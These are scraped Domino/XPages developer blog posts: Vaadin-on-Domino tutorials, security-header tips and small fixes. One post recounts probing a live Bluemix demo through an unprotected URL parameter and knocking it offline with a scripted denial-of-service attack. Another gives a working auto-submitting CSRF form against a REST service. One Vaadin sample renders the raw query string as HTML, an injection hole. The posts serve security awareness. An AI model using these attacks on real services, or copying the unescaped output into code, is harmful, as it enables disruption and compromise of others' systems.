Raspberry Pi vs. IBM Bluemix – 1:0

I had some time last night (the whole family had gone to bed early), so I spent some to look at the XPages integration into Bluemix. I found the Greenwell Travel Expenses Demo:

Bildschirmfoto 2015-01-28 um 10.24.41

But after clicking a link, the page returned an error:

Bildschirmfoto 2015-01-28 um 10.00.21

Hmm…But I wanted to see the application!

That’s why I checked, if the datasources are protected. I recommend this for years. Fredrik Norling wrote a little snippet for this. Or better use the “ignoreRequestParam“. Then all your problems are gone.

http://greenwellexpenses.mybluemix.net/bluemix/Expense-App-Design.nsf/teamExpenses.xsp?databaseName=homepage.nsf

Bingo! Unprotected!

Bildschirmfoto 2015-01-28 um 10.15.29

I now was able to see a little bit more of the application and to check the underlying environment. But then came the moment where my brain forced me to try out some things:

First, I had to look again on the IP address in the error page: “109.228.14.66“. This is not an  internal address. Let’s check it:

Bildschirmfoto 2015-01-28 um 10.34.08

Not reachable. Whois for “109.228.14.66” ? “Fasthosts Internet Limited“. A provider in UK.

A ping to “greenwellexpenses.mybluemix.net” returned “75.126.81.6″, which belongs to Softlayer. The server is allowed access other servers? Maybe the application can call me?

Bildschirmfoto 2015-01-28 um 10.58.56

Yes, the application can:

Bildschirmfoto 2015-01-28 um 11.09.41

Unbenannt

Now I can try to DoS the application.  Because the outgoing connection from the application waits for a response (think about “telnet www.example.com 80“), I can create a bunch of requests, and the server will quickly reach it’s limit.

That’s why I created a simple bash script which makes HTTP request to the Bluemix instance. The script runs on a Raspberry Pi, to demonstrate the low demand of hardware requirements and to show how easy it is do make a DoS attack against a XPage application (if it is was not developed under security aspects).

Here is a short video (the source of the bash script is NOT shown, but it has fewer then 10 lines of code):

This was a “friendly” attack. I have not done anything harmfull. And this is a demo app; if it is not secure, this is not a real problem. The application is available again ten minutes later.

But last night I searched for some XPages servers in the WWW, and I found a lot of misconfigured systems: Error Page enabled, the “Ignore request parameter” is not set to “true” or at least the hack from Fredrik running. And the servers are allowed to access the whole internet… Dev’s and Admins should do their jobs better!

If you plan to migrate your apps to the cloud, please learn more about security. Or hire some specialists with the knowledge and experience in this sector. It is worth the time and the money.

Veröffentlicht unter Security, Web, XPages | Verschlagwortet mit , , , , | Hinterlasse einen Kommentar

HowTo: Vaadin on Domino (4)

Now, let’s access some Domino resources.

I have created a database named “VaadinResources.nsf“, containing a normal image resource, and an image added via package explorer to the “WEB-INF” folder:

Screenshot - ImageResource

Screenshot - WEB-INF Resource

Vaadin provides stream resources, which allows creating of dynamic resources. These resources handle “InputStream” objects, which we can grab from Domino via Java NAPI.

To do this, it is first required to add some plug-ins to the dependencies of the “HelloVaadin” plug-in:

Screenshot - Dependencies

  • com.ibm.domino.napi
  • com.ibm.domino.commons
  • com.ibm.commons

Then we can import the “NAPIUtils” class to the project and add a new method “loadBinaryFile” to it:

/**
 * loads given file from a database and returns the Inputsstream
 * 
 * @param serverName
 *            the server to use
 * @param dbPath
 *            the database path
 * @param fileName
 *            the file to load
 * @return the file data as InputStream
 * 
 */
static public InputStream loadBinaryFile(final String serverName, final String dbPath,
        final String fileName) {

    NotesSession nSession = null;
    NotesDatabase nDatabase = null;
    NotesNote nNote = null;

    try {
        nSession = new NotesSession();

        // open database
        try {
            nDatabase = nSession.getDatabaseByPath(serverName + "!!" + dbPath);
        } catch (NotesAPIException e) {
            e.printStackTrace();
        }
        nDatabase.open();

        // load existing data
        nNote = FileAccess.getFileByPath(nDatabase, fileName);

        // get Filedate and return String
        InputStream is = FileAccess.readFileContentAsInputStream(nNote);

        return is;
    } catch (Exception e) {
        e.printStackTrace();
    } finally {
        // recycle NAPI objects
        recycleNAPIObject(nNote, nDatabase, nSession);
    }
    return null;
}

A new class “DominoImageSource” which implements the “StreamResource.StreamSource” interface uses this method to pipe the “InputStream” object returned from the Domino Java NAPI:

package ch.hasselba.vaadin;

import java.io.InputStream;
import ch.hasselba.napi.NAPIUtils;
import com.vaadin.server.StreamResource.StreamSource;

@SuppressWarnings("serial")
public class DominoImageSource implements StreamSource {
    
    private String fileName;
    private String serverName;
    private String dbPath;
    
    public DominoImageSource(final String serverName, final String dbPath, 
            final String fileName){
        super();
        this.serverName = serverName;
        this.dbPath = dbPath;
        this.fileName = fileName;
    }
    public InputStream getStream () {    
        return NAPIUtils.loadBinaryFile( this.serverName, this.dbPath, this.fileName );
    }
}

Now, we can create a new Application named “ResourceUI” which displays these two resources:

package ch.hasselba.vaadin;

import com.vaadin.server.StreamResource;
import com.vaadin.server.StreamResource.StreamSource;
import com.vaadin.server.VaadinRequest;
import com.vaadin.ui.Image;
import com.vaadin.ui.UI;
import com.vaadin.ui.VerticalLayout;

@SuppressWarnings("serial")
public class ResourcesUI extends UI  {

    @Override
    protected void init(VaadinRequest request) {
        
         VerticalLayout layout = new VerticalLayout();
         setContent(layout);
         layout.setSizeFull();
         
         // Create an instance of our stream source.
         StreamSource webinfResource = new DominoImageSource ( 
                 "Dev01", "VaadinResources.nsf" , "/WEB-INF/WEB-INFResource.png");
         
         StreamSource imageResource = new DominoImageSource ( 
                 "Dev01", "VaadinResources.nsf" , "ImageResource.gif");

         // Create an image component that gets its contents
         // from the resource.
         layout.addComponent(new Image("WEB-INF Resource", 
                 new StreamResource(webinfResource, "image01.png")));
         layout.addComponent(new Image("Image Resource", 
                 new StreamResource(imageResource, "image02.gif")));
        
    }
}

Again, no rocket science and self-explaining code. When we open the application, the resources are loaded from the database and displayed in the browser:

Screenshot - Resource Application

As soon we are changing the images in the database (and the cache is expired), the new image will appear in our Vaadin application.

Veröffentlicht unter OSGi, Vaadin | Verschlagwortet mit , , | 1 Kommentar

HowTo: Vaadin on Domino (3)

Let’s create another application, based on Vaadin’s AddressBook example. You can download the source code directly or grab the code from the repository; it is a single class file named “AddressbookUI” only.

After importing (or manually creating) the class in the HelloVaadin plug-in, the servlet configuration in “web.xml” must be updated:

<?xml version="1.0" encoding="ISO-8859-1"?>
<web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee 
http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">

  <display-name>Addressbook</display-name>
    <context-param>
        <description>Vaadin production mode</description>
        <param-name>productionMode</param-name>
        <param-value>false</param-value>
    </context-param>
    
    <servlet>
        <servlet-name>AdressbookServlet</servlet-name>
        <servlet-class>com.vaadin.server.VaadinServlet</servlet-class>
        <init-param>
            <param-name>UI</param-name>
            <param-value>ch.hasselba.vaadin.AddressbookUI</param-value>
        </init-param>
    </servlet> 

    <servlet-mapping>
        <servlet-name>AdressbookServlet</servlet-name>
        <url-pattern>/*</url-pattern>
    </servlet-mapping>
    
</web-app>

The “<param-value>” must contain the complete class name, I have additionally changed the name of the servlet and updated the path in the “plugin.xml“:

<?xml version="1.0" encoding="UTF-8"?>
<?eclipse version="3.4"?>
<plugin>

     <extension
         point="com.ibm.pvc.webcontainer.application">
      <contextRoot>
         /addressbook  
      </contextRoot>
      <contentLocation>
         WebContent
      </contentLocation>
   </extension>

</plugin>

To connect the example to a Domino environment, the “createDummyDatasource” method of the class must be replaced:

@SuppressWarnings("unchecked")
private static IndexedContainer createDummyDatasource() {

    // Domino objects
    Session session = null;
    Database db = null;
    View view = null;
    Document doc = null;
    Document tmpDoc = null;

    // initialize IndexedContainer
    IndexedContainer ic = new IndexedContainer();

    // add fieldnames as properties
    for (String p : fieldNames) {
        ic.addContainerProperty(p, String.class, "");
    }

    // get all users from NAB
    try{
        // init Domino objects
        session = ContextInfo.getUserSession();
        db = session.getDatabase(session.getServerName(), "dummynames.nsf");
        view = db.getView( "People" );

        // process all documents in view
        doc = view.getFirstDocument();
        while (doc != null) {

            // create a new item
            Object id = ic.addItem();

            // add field values to the item
            ic.getContainerProperty(id, FNAME).
                setValue(doc.getItemValueString("FirstName"));
            ic.getContainerProperty(id, LNAME).
                setValue(doc.getItemValueString("LastName"));

            // grab next document
            tmpDoc = doc;
            doc = view.getNextDocument(tmpDoc);
            recycle( tmpDoc );
        }
    }catch(Exception e){
        e.printStackTrace();
    }finally{
        recycle( doc, tmpDoc, view, db, session );
    }
    return ic;
}

/**
* recycle Domino objects
*
* @param objs
*     lotus.domino.Base objects to recylce
*/
private static void recycle(Base... objs){
    try{
        for( Base obj:objs ){
            if( obj != null )
                obj.recycle();
        }
    }catch(Exception e){}
}

Because this is not rocket science I won’t get into the details.

To prevent anonymous access, I have added a simple redirection in the “init” method:

protected void init(VaadinRequest request) {
        
    if( ContextInfo.isAnonymous() ){
         getPage().setLocation("/names.nsf?login=1&redirectto=" + 
             request.getContextPath() );
         return;
    }
        
    initLayout();
    initContactList();
    initEditor();
    initSearch();
    initButtons();
}

When opening the application as an anonymous user you will be automatically redirected to the Login Screen:

00 - Login

After signing in, domino redirects back to the addressbook example, and the list of persons in your “names.nsf” is shown up:

00 - Addressbook

Veröffentlicht unter OSGi, Vaadin | Verschlagwortet mit , , | 1 Kommentar

HowTo: Vaadin on Domino (2)

When running your own servlet, you eventually want to access the Domino environment. To do this, some changes has to be made to the HelloVaadin plug-in.

1. Open the “MANFIFEST.MF” and open the “Dependencies” tab

2. Add the plug-in “com.ibm.osgi.domino.core” to the list of required plug-ins

01 - Dependencies - Add OSGi Plugin 00

01 - Dependencies - Add OSGi Plugin

01 - Dependencies - Add OSGi Plugin 02

Save the “MANIFEST.MF

3. Now we can use “com.ibm.domino.osgi.core.context.ContextInfo” to access the Domino environment in HelloVaadinUI

package ch.hasselba.vaadin;

import lotus.domino.Database;
import lotus.domino.NotesException;
import lotus.domino.Session;
import com.vaadin.server.VaadinRequest;
import com.vaadin.server.VaadinServlet;
import com.vaadin.shared.ui.label.ContentMode;
import com.vaadin.ui.Label;
import com.vaadin.ui.UI; 
import com.vaadin.ui.VerticalLayout;
import com.ibm.domino.osgi.core.context.ContextInfo;

@SuppressWarnings("serial")
public class HelloVaadinUI extends UI {
    
    public static class Servlet extends VaadinServlet {
    }
    
    @Override
    protected void init(VaadinRequest request) {
    
        VerticalLayout layout = new VerticalLayout();
        setContent(layout);
        layout.setSizeFull();
        
        String dbPath = "";
        String userName = "";
        String queryString = "";
       
        try {
            
            // get the current database
            Database db = ContextInfo.getUserDatabase();
            if( db != null )
                dbPath = db.getFilePath();
            
            // get the current session
            Session session = ContextInfo.getUserSession();
            if( session != null )
                userName = session.getEffectiveUserName();
            
            // get the query string
            queryString = ContextInfo.getServerVariable("QUERY_STRING");
            
        } catch (NotesException e) {
            e.printStackTrace();
        }
        
        Label label = new Label();
        label.setValue("<h1>Hello " + userName + "!</h1>");
        label.setContentMode(ContentMode.HTML);
        
        Label labelDB = new Label();
        labelDB.setValue("<p>DB Path: " + dbPath + "</p>");
        labelDB.setContentMode(ContentMode.HTML);
        
        Label labelQuery = new Label();
        labelQuery.setValue("<p>Query: " + queryString + "</p>");
        labelQuery.setContentMode(ContentMode.HTML);
        
        layout.addComponents(label, labelDB, labelQuery);
    }

}

4. When opening the application inside the names.nsf, the result looks like this:

04  - Result

Veröffentlicht unter OSGi, Vaadin | Verschlagwortet mit , , | Hinterlasse einen Kommentar

HowTo: Vaadin on Domino

This example requires a valid XPages Plugin Development Environment. The execution environment used is the XPages Domino JRE.

1. Create a new plug-in project and select “Equinox” as OSGi framework

01 - New Plugin Project

2. Set the name of the activator class to “ch.hasselba.vaadin.Activator

02 - Activator Class

3. Open the MANIFEST.MF file

03 - Manifest

4. On Tab “Overview“, activate the option for lazy loading and the singleton property

04 - Singleton

5. Go to “Dependencies” tab and add the required plugin “com.ibm.pvc.webcontainer

05 - Dependencies - Required Plugins 01

When entering “pvc“, you can easily find the plugin from the list:

05 - Dependencies - Required Plugins 02

6. Then, add  “javax.servlet” and “javax.servlet.http” to the list of imported packages

06 - Dependencies -ImportedPackages

7. Now, download the Jar files for Vaadin. The files can be found here (the All-in-One archive is the right one).

8. Import the Jars to the project

08 - Import - Vaadin Jars 01

08 - Import - Vaadin Jars 02

The required Jars are:

  • vaadin-client-7.3.8.jar
  • vaadin-client-compiled-7.3.8.jar
  • vaadin-client-compiler-7.3.8.jar
  • vaadin-push-7.3.8.jar
  • vaadin-server-7.3.8.jar
  • vaadin-shared-7.3.8.jar
  • vaadin-themes-7.3.8.jar

08 - Import - Vaadin Jars 03

9. Do this with „jsoup“ and „org.json“ libaries too:

09 - Import - Other Jar

10. Now, go to the “Runtime” tab and add the classpathes (don’t forget to move the “.” to the top of the list)

10 - Runtime - Classpath 02

10 - Runtime - Classpath

The symbol of the filetypes have now changed:

10 - Runtime - Classpath 03

11. On tab “Overview“, click on “Extensions” to open the Extension tab

11 - Overview - Extensions

Click on “Yes” to open the “Extension” tab:

11 - Overview - Extensions 02

12. Here, you have to add the extension point “com.ibm.pvc.webcontainer.application

12 - Extension - Add 01

12 - Extension - Add 02

13. Open “plugin.xml”

13 - Plugin_XML

14. … and configure the extension point:

<?xml version="1.0" encoding="UTF-8"?>
<?eclipse version="3.4"?>
<plugin>

     <extension
         point="com.ibm.pvc.webcontainer.application">
      <contextRoot>
         /helloVaadin  
      </contextRoot>
      <contentLocation>
         WebContent
      </contentLocation>
   </extension>

</plugin>

contextRoot defines the URL pattern where the Vaadin servlet is reachable.  contentLocation is a folder where the required web.xml configuration file can be found.

Save the “plugin.xml” file.

15. Create the folder “WebContent“…

15 - Folder 01

15 - Folder 02

16. … and then a second folder “WEB-INF” inside of “WebContent

17. Create the “web.xml” file in this folder, the tree should look like this:

17 - WebFolder Structure

18. The “web.xml” contains the configuration of the servlet:

<?xml version="1.0" encoding="ISO-8859-1"?>
<web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee 
http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">

  <display-name>HelloVaadin</display-name>
    <context-param>
        <description>Vaadin production mode</description>
        <param-name>productionMode</param-name>
        <param-value>false</param-value>
    </context-param>
    
    <servlet>
        <servlet-name>HelloVaadinServlet</servlet-name>
        <servlet-class>com.vaadin.server.VaadinServlet</servlet-class>
        <init-param>
            <param-name>UI</param-name>
            <param-value>ch.hasselba.vaadin.HelloVaadinUI</param-value>
        </init-param>
    </servlet> 

    <servlet-mapping>
        <servlet-name>HelloVaadinServlet</servlet-name>
        <url-pattern>/*</url-pattern>
    </servlet-mapping>
    
</web-app>

The <init-param> tag inside <servlet> defines our UI class of our application. We will create this class later. The <servlet-mapping> defines a mapping inside the webapplication path.

This means, if you would add a url-pattern like “/helloVaadinServlet/*” to the Vaadin servlet, the URL to reach the application is

http://example.com/helloVaadin/helloVaadinServlet/

The “/helloVaadin/” part is the defined in the contextPath parameter in the web application. When using another pattern as “/*“, an additional mapping for the Vaadin resources is required:

<servlet-mapping>
        <servlet-name>HelloVaadinServlet</servlet-name>
        <url-pattern>/VAADIN/*</url-pattern>
</servlet-mapping>

19. Go to “Build” tab, and include the “Web-Content” folder:

19 - Build - Add WebContent 01

The following line should now appear in the build.properties file which includes the folder in the final Jar.

19 - Build - Add WebContent 02

20. Create the Vaadin servlet class “ch.hasselba.vaadin.HelloVaadinUI”

20. Servlet Class 01

20. Servlet Class 03

21. Add the following code to the class

package ch.hasselba.vaadin;

import com.vaadin.server.VaadinRequest;
import com.vaadin.server.VaadinServlet;
import com.vaadin.shared.ui.label.ContentMode;
import com.vaadin.ui.Alignment;
import com.vaadin.ui.HorizontalLayout;
import com.vaadin.ui.Label;
import com.vaadin.ui.UI; 

@SuppressWarnings("serial")
public class HelloVaadinUI extends UI {
    
    public static class Servlet extends VaadinServlet {
    }
    
    @Override
    protected void init(VaadinRequest request) {
    
        HorizontalLayout layout = new HorizontalLayout();
        setContent(layout);
        layout.setSizeFull();

        Label label = new Label();
        label.setValue("<h1>Hello Vaadin!</h1>");
        label.setContentMode(ContentMode.HTML);
        layout.addComponent(label);
        layout.setComponentAlignment(label, Alignment.TOP_CENTER);
    }

}

22. At the end, organize the manifest. Open tab “Overview” and start the “Organize Manifest Wizard

22 - Overview - Organize Manifest 01

22 - Overview - Organize Manifest 02

This updates the manifest and adds all resources for the Vaadin application.

22 - Overview - Organize Manifest 03

Last but not least, save all project files.

25. Create a Feature Project named “HelloVaadinFeature” and click on “Next

Feature 00

27. Select the “HelloVaadin” Plug-In

Feature 02

28. On the “Plugins” tab, check the option “Unpack the plug-in archive after the installation“:

Feature 03

Save the file and…

29. … create the Update Site “HelloVaadinUpdateSite

UpdateSite 01

UpdateSite 02

Add the feature…

UpdateSite 03

UpdateSite 04

… and build the site:

UpdateSite 05

30. Import it to the Update Site on the Domino server and restart the HTTP task

31. That’s it! Open the URL in the browser and enjoy.

99 - Hello Vaadin

Veröffentlicht unter OSGi, Vaadin | Verschlagwortet mit , , | 3 Kommentare

Der Letzte macht das Licht aus!

Es ist schon faszinierend, wenn mans sich den Wandel in der Lotus Notes Welt näher vor Augen führt: Wäre man für das Einreichen von Themen ausserhalb der Domino-Welt vor ein paar Jahren noch geteert und gefedert worden, stehen dieses Jahr auf der Agenda vom Entwicklercamp 2015  nicht nur vereinzelte Session, die sich mit Migration befassen, sondern es widmet sich dem Thema praktisch gleich ein ganzer Track.

Zwischenzeitlich (2013/2014) haben sich einige führende Technologie-Köpfe der IBM aus dem Domino-Umfeld verabschiedet, und die ConnectED (nur noch halb so lang wie bisher) wird wohl nach 2015 die Pforten schliessen. Die verbliebenen Business-Partner pushen derweil andere Technologien, um nicht den Anschluss zu verpassen.

Und waren in den vorigen Jahren wenigstens noch Themen wie “Ko-Existenz mit anderen Systemen”* auf der Agenda, ist davon heute, im Jahr 2015, praktisch nichts mehr zu hören.

Vom führenden System in die Bedeutungslosigkeit. Wie BTX. Nur ohne offizielle Abschaltung.

Ich für meinen Teil bin froh, mir die “Domino über alles”-Schere vor ein paar Jahren aus dem Kopf gezogen zu haben, denn ich habe noch ein paar Jahrzehnte Arbeitsleben vor mir. Und irgendwann schaffe ich es auch, mein geliebtes cyccle Projekt endlich aus der Taufe zu heben…

*: Kleines Wortspiel – Koexistenz vs. KO-Existenz

Veröffentlicht unter Allgemein | 9 Kommentare

Security: Usefull HTTP Response Headers

Here is a list of usefull HTTP headers for responses you should know about:

  • X-Content-Type-Options

When set to “nosniff“, this header will prevent browsers from MIME-sniffing a response away from the declared content-type. While this header is more relevant for “normal” web applications (it protects against some types of drive-by-downloads), it does not hurt to add it to your REST service, if

See http://blogs.msdn.com/b/ie/archive/2008/09/02/ie8-security-part-vi-beta-2-update.aspx

X-Content-Type-Options: nosniff
  • X-Frame-Options

Provides Clickjacking protection. Allowed values are:

  • deny no rendering within a frame
  • sameorigin no rendering if origin mismatch
  • allow-from: <DOMAIN> allow rendering if framed by frame loaded from DOMAIN
X-Frame-Options: deny
  • X-XSS-Protection

Re-enables cross side scripting protection in IE and Chrome if user has disabled it.

X-XSS-Protection: 1; mode=block
  • Strict-Transport-Security

Enables HTTP Strict Transport Security (HSTS). This prevents browsers from using an insecure connection to a server for a given time (in seconds). Additionally, you can include all subdomains:

Strict-Transport-Security: max-age=16070400; includeSubDomains
Veröffentlicht unter Allgemein, Security | Verschlagwortet mit | Hinterlasse einen Kommentar

Hardening SSH vs. Eclipse RSE

After hardening the SSH configuration on a Debian server by removing unsecure ciphers and MACs I got in trouble with Eclipse Remote System Explorer.

When trying to open the server, I always got an “Algorithm negotiation fail” message:

Even installing the missing Unlimited Strength version of Java Crypto Extension which allows key sizes larger then 128 bit doesn’t helped me out.

The problem was the allowed KexAlgorithms and the list of MACs in the configuration:

Ciphers aes256-ctr,aes256-cbc
KexAlgorithms diffie-hellman-group-exchange-sha256
MACs hmac-sha2-512,hmac-sha2-256,hmac-ripemd160

After re-enabling the insecure default configuration by commenting out the both lines in the configuration allowed me to reconnect to the server again.

Ciphers aes256-ctr,aes256-cbc
#KexAlgorithms diffie-hellman-group-exchange-sha256
#MACs hmac-sha2-512,hmac-sha2-256,hmac-ripemd160

I don’t feel happy about it. But it seems that there is actually no workaround.

Veröffentlicht unter Security | Hinterlasse einen Kommentar

Yii: GridView’s selectionChanged not working on iOS

I had a strange issue with TbGridView‘s (YiiStrap‘s version of CGridView) selectionChanged event: In all browsers, the defined function was executed when a row was selected, but not on devices with iOS 7 & 8.

While trying to hack around the issue, I found a simple solution by adding

'htmlOptions' => array( 'onclick' => '' )

to the declaration of the grid. This little hack kills the inherited event handler from the body element by adding an empty onclick event to the generated <div>:

<div class="grid-view" id="yw0" onclick="">

Now everything works accross all browsers and devices.

Veröffentlicht unter Yii | Verschlagwortet mit , | Hinterlasse einen Kommentar

REST & Security: CSRF Attacks

In this post I will demonstrate how a do a CSRF attack against a XPages REST service.

Let’s assume that we have a custom REST service on a XPage. To keep the example as simple as possible, this service returns the posted data back to the requesting browser only, nothing more and nothing less:

<?xml version="1.0" encoding="UTF-8"?>
<xp:view
    xmlns:xp="http://www.ibm.com/xsp/core"
    xmlns:xe="http://www.ibm.com/xsp/coreex"
    rendered="false">
    
    <xe:restService
        id="restService"
        pathInfo="foo">
        <xe:this.service>
            <xe:customRestService
                requestContentType="application/json"
                requestVar="data" 
                doPost="#{javascript:toJson( requestScope.data )}">
            </xe:customRestService>
        </xe:this.service>
    </xe:restService>

On my web server, I have created a simple HTML page with a form:

<html>
    <head />
    <body>
        <form name="CSRFAttack" enctype="text/plain"
            action="http://localhost/REST.nsf/CSRF.xsp/foo/" method="POST">
          <input type="hidden" name='{"Hello": "World"}'>
        </form> 

        <script>document.CSRFAttack.submit();</script>
    </body>
</html>

As soon a user (which is logged on my domino server) opens the HTML page, the form is automatically posted to the REST service.

1. User opens the “bad site”

2. Then the form is sent to the server

3. And the request is processed by the REST service


Et voilà, the CSRF attack was successfull.

Veröffentlicht unter REST, Security | Verschlagwortet mit , | 4 Kommentare